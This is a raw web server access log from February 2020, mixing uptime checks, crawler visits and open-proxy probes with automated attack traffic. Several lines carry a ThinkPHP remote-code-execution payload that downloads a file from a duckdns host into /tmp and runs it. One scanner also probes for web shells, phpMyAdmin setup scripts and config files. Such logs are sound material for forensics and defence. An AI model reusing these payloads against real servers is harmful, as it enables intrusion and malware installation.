212.91.246.72 - - [16/Feb/2020:20:10:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.236.68.41 - - [16/Feb/2020:20:11:24 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
104.236.68.41 - - [16/Feb/2020:20:11:34 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [16/Feb/2020:20:11:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:12:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:13:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.82.63.158 - - [16/Feb/2020:20:13:53 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44"
123.145.8.157 - - [16/Feb/2020:20:13:56 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
116.252.0.159 - - [16/Feb/2020:20:13:57 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
220.250.11.99 - - [16/Feb/2020:20:13:57 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.128.105.97 - - [16/Feb/2020:20:13:57 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
220.250.63.211 - - [16/Feb/2020:20:13:58 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
111.175.56.154 - - [16/Feb/2020:20:13:58 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.128.105.18 - - [16/Feb/2020:20:14:00 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
123.145.3.56 - - [16/Feb/2020:20:14:01 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
112.117.19.73 - - [16/Feb/2020:20:14:02 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.12.10.47 - - [16/Feb/2020:20:14:02 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:20:14:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:15:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:16:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:17:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.1.1 - - [16/Feb/2020:20:18:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:20:18:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:19:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:20:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:21:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.83.64.24 - - [16/Feb/2020:20:22:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
147.92.86.99 - - [16/Feb/2020:20:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:20:22:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.204.132.232 - - [16/Feb/2020:20:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [16/Feb/2020:20:23:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:24:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:25:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:26:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:27:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.134 - - [16/Feb/2020:20:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:20:28:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:29:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [16/Feb/2020:20:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [16/Feb/2020:20:30:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:31:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.80.131.85 - - [16/Feb/2020:20:32:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:20:32:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:33:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:34:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.191.208.220 - - [16/Feb/2020:20:35:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:20:35:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:36:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:37:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.55.39.207 - - [16/Feb/2020:20:38:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [16/Feb/2020:20:38:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.56.115.95 - - [16/Feb/2020:20:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
103.56.115.95 - - [16/Feb/2020:20:39:37 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
103.56.115.95 - - [16/Feb/2020:20:39:38 +0100] "POST /Admin55f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [16/Feb/2020:20:39:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.56.115.95 - - [16/Feb/2020:20:39:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
103.56.115.95 - - [16/Feb/2020:20:39:59 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
103.56.115.95 - - [16/Feb/2020:20:39:59 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
103.56.115.95 - - [16/Feb/2020:20:40:00 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
103.56.115.95 - - [16/Feb/2020:20:40:00 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
103.56.115.95 - - [16/Feb/2020:20:40:23 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
103.56.115.95 - - [16/Feb/2020:20:40:47 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [16/Feb/2020:20:40:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.56.115.95 - - [16/Feb/2020:20:41:11 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
45.83.64.46 - - [16/Feb/2020:20:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
103.56.115.95 - - [16/Feb/2020:20:41:35 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [16/Feb/2020:20:41:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.56.115.95 - - [16/Feb/2020:20:41:59 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
103.56.115.95 - - [16/Feb/2020:20:42:23 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
103.56.115.95 - - [16/Feb/2020:20:42:47 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
103.56.115.95 - - [16/Feb/2020:20:42:47 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:48 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:48 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:48 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:48 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:48 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:49 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:49 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:49 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:49 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:50 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:50 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:50 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:50 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:50 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:51 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:51 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [16/Feb/2020:20:42:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.56.115.95 - - [16/Feb/2020:20:42:51 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:51 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:52 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:52 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:52 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:52 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:52 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:53 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:53 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:53 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:53 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:53 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:54 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:55 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:55 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:55 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:55 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:55 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:56 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:56 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:56 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:56 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:56 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:57 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:57 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:57 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:57 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:57 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:58 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:58 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:58 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:59 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:59 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:59 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:42:59 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:00 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:00 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:00 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:00 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:00 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:01 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:01 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:01 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:01 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:02 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:02 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:03 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:43:03 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
